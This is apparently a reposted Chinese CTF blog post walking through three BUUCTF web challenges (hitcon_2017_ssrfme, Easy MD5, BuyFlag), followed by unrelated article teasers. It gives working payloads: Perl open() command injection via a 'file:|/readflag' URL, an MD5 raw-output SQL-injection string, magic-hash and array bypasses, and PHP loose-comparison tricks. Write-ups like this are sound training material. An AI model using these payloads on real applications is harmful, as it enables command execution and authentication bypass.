hitcon_2017_ssrfme、[BJDCTF2020]Easy MD5、[极客大挑战 2019]BuyFlag

news/2024/10/22 9:49:58/
hitcon_2017_ssrfme

进入环境给出源码

<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir  = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__); 
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); 

这里GET一开始确实不知道有什么用,以为是get传参,但是想想又不明白,根据题解的意思应该是perl中的——一种语言

根据题解,GET应该是可以读文件的,那我在kali中试一试

在这里插入图片描述

创建一个flag文件并读取

echo flag{} > flag
GET ./flag

在这里插入图片描述

读取根目录

在这里插入图片描述

代码一开始创建了一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip

在这里插入图片描述

使用上面方法我们就可以在靶机里找flag了,一般flag在根目录下,payload

http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/?url=/&filename=233
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/233

在这里插入图片描述

有flag和readflag但是flag读不到,多半是没有权限,只能通过readflag来实现了

GET底层实现使用的是open函数,open函数可以执行命令,我们可以通过GET来执行命令

1、open命令执行(|没搞明白)

open(FD,'|id')
print <FD>

而perl里的GET函数底层就是调用了open处理,如下84与132行

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or return new

当GET使用file协议的时候就会调用到perl的open函数

在这里插入图片描述

发现了这一点我们就可以构造payload了

?url=&filename=|/readflag
?url=file:|/readflag&filename=abc
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/abc

这样就能获得flag

在这里插入图片描述

[BJDCTF2020]Easy MD5

进入环境用浏览器自带的开发者工具抓一下包,发现头部有提示

在这里插入图片描述

这里查一下md5函数,当存在参数true时,使用原始16字符二进制格式,找到ffifdyop字符串经过MD5哈希之后,会变成276f722736c95d99e921722cf9ed621c,mysql会把hex当作Ascii码来解释所以这几个字符相当于:’ or '6xxxxxxx。这就相当于一个万能密码了我们来试试

成功登入然后我们查看网页源码

在这里插入图片描述

得到一些新的提示这就很明显是一个md5弱类型比较,我们到网上找一些以0e开头的md5值

在这里插入图片描述

用上图任意俩个值分别别传给a和b(通过get方式)给出如下payload

?a=QNKCDZO&b=240610708

然后又得到部分源码

<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;
}

在这里需要通过Post方式传入两个值,并且这两个值要求不相等且md5加密后要全等,这就又有个矛盾了,这里有嘚用一次md5弱类型比较,给这俩个值当成数组赋值这样一来就能成功绕过(如果这里不懂md5弱类型比较建议百度一下

我这里使用curl传送payload

curl -d "param1[]=1&param2[]=2" -s "http://5d01309a-5251-4791-b9b3-ee9c1facee0e.node4.buuoj.cn:81/levell14.php"

成功取得flag

在这里插入图片描述

[极客大挑战 2019]BuyFlag

进入环境点击menu后点击payflag然后我们查看网页源代码发现一些提示

<!--~~~post money and password~~~
if (isset($_POST['password'])) {$password = $_POST['password'];if (is_numeric($password)) {echo "password can't be number</br>";}elseif ($password == 404) {echo "Password Right!</br>";}
}
-->

需要post传入一个password我们既要password不能为数字且password需要为404,但是在这里我们看见比较符号为==所以这里可以使用弱类型绕过我们传入404b即可绕过过滤

在这里我们用bp抓完包我们注意这里需要更改

在这里插入图片描述

默认这里是0我们需要改为1

在这里插入图片描述

password传入值,但是发包回显钱不够

在这里插入图片描述

这里可以猜测一下钱的变量为money我们尝试更改钱的数量

在这里插入图片描述

在这里插入图片描述

数字太长我们尝试一下科学计数法

在这里插入图片描述

在这里插入图片描述

这样我们就能获得flag


http://www.ppmy.cn/news/49142.html

相关文章

基于容器平台 ACK 快速搭建 Stable Diffusion

作者&#xff1a;子白 本文介绍如何在阿里云容器平台 ACK 上快速搭建一套可对外提供服务的 Stable Diffusion。 CPU 版本 前提条件 已创建 Kubernetes 托管版集群。具体操作&#xff0c;请参见创建 Kubernetes 托管版集群[1]。 &#x1f4cd;无需 GPU&#xff0c;节点需要…

你最想知道的APP自动化测试项目实战详解

目录 一、引言 二、APP自动化测试的基本概念 三、APP自动化测试的流程 四、APP自动化测试的最佳实践 五、常见的APP自动化测试工具 六、APP自动化测试的挑战和解决方案 七、结论 一、引言 随着移动设备的普及和应用市场的繁荣&#xff0c;越来越多的企业开始开发和发布移…

版本升级|Co-Project V3.1智能项目管理平台——新增三大调整板块 提高自动估算精准度

大家好&#xff0c;CoCode开发云旗下Co-Project V3.1智能项目管理平台正式发布&#xff0c;需求分析工具全新升级&#xff0c;新增功能点调整类型、工作量调整因子和费用调整因子三大板块&#xff0c;全面提高自动估算项目精准度。 一、调整功能点数 要提高项目估算精准度&…

【PWN刷题__ret2text】——CTFHub之 简单的 ret2text

萌新第一阶段自然是了解做题的套路、流程&#xff0c;简单题要多做滴 目录 前言 一、checksec查看 二、IDA反汇编 三、exp编写 前言 经典的ret2text流程 一、checksec查看 64位程序&#xff0c;什么保护都没有&#xff0c;No canary found——可以栈溢出控制返回 二、IDA反汇…

C# 中的单元测试,如何使用单元测试进行程序测试和调试?

单元测试是一种软件测试方法&#xff0c;用于测试单个功能或方法是否按预期工作。在 C# 中&#xff0c;可以使用 .NET 框架中的单元测试工具来编写和运行单元测试。 下面是使用 Visual Studio 内置的单元测试框架来创建一个简单的单元测试的步骤&#xff1a; 在 Visual Studi…

Java 实现数据脱敏的详细讲解

数据脱敏是一种数据保护技术&#xff0c;它通过对敏感数据进行修改或替换&#xff0c;使得数据无法被识别或关联到个人身份&#xff0c;从而保护个人隐私。在Java中&#xff0c;可以通过各种技术来实现数据脱敏&#xff0c;本文将详细讲解Java实现数据脱敏的方法和技术。 一、…

Linux搭建GitLab私有仓库,并内网穿透实现公网访问

文章目录 前言1. 下载Gitlab2. 安装Gitlab3. 启动Gitlab4. 安装cpolar5. 创建隧道配置访问地址6. 固定GitLab访问地址6.1 保留二级子域名6.2 配置二级子域名 7. 测试访问二级子域名 前言 GitLab 是一个用于仓库管理系统的开源项目&#xff0c;使用Git作为代码管理工具&#xf…

家用洗地机有什么优缺点?平价洗地机推荐

随着社会经济的发展和人们生活水平的提高&#xff0c;对于清洁卫生的要求也越来越高。洗地机作为一种集高效、节能、环保、卫生等多重优点于一身的清洁设备&#xff0c;可以有效提高清洁效率和清洁质量&#xff0c;并且可以减少对环境的污染。不仅如此&#xff0c;洗地机的还有…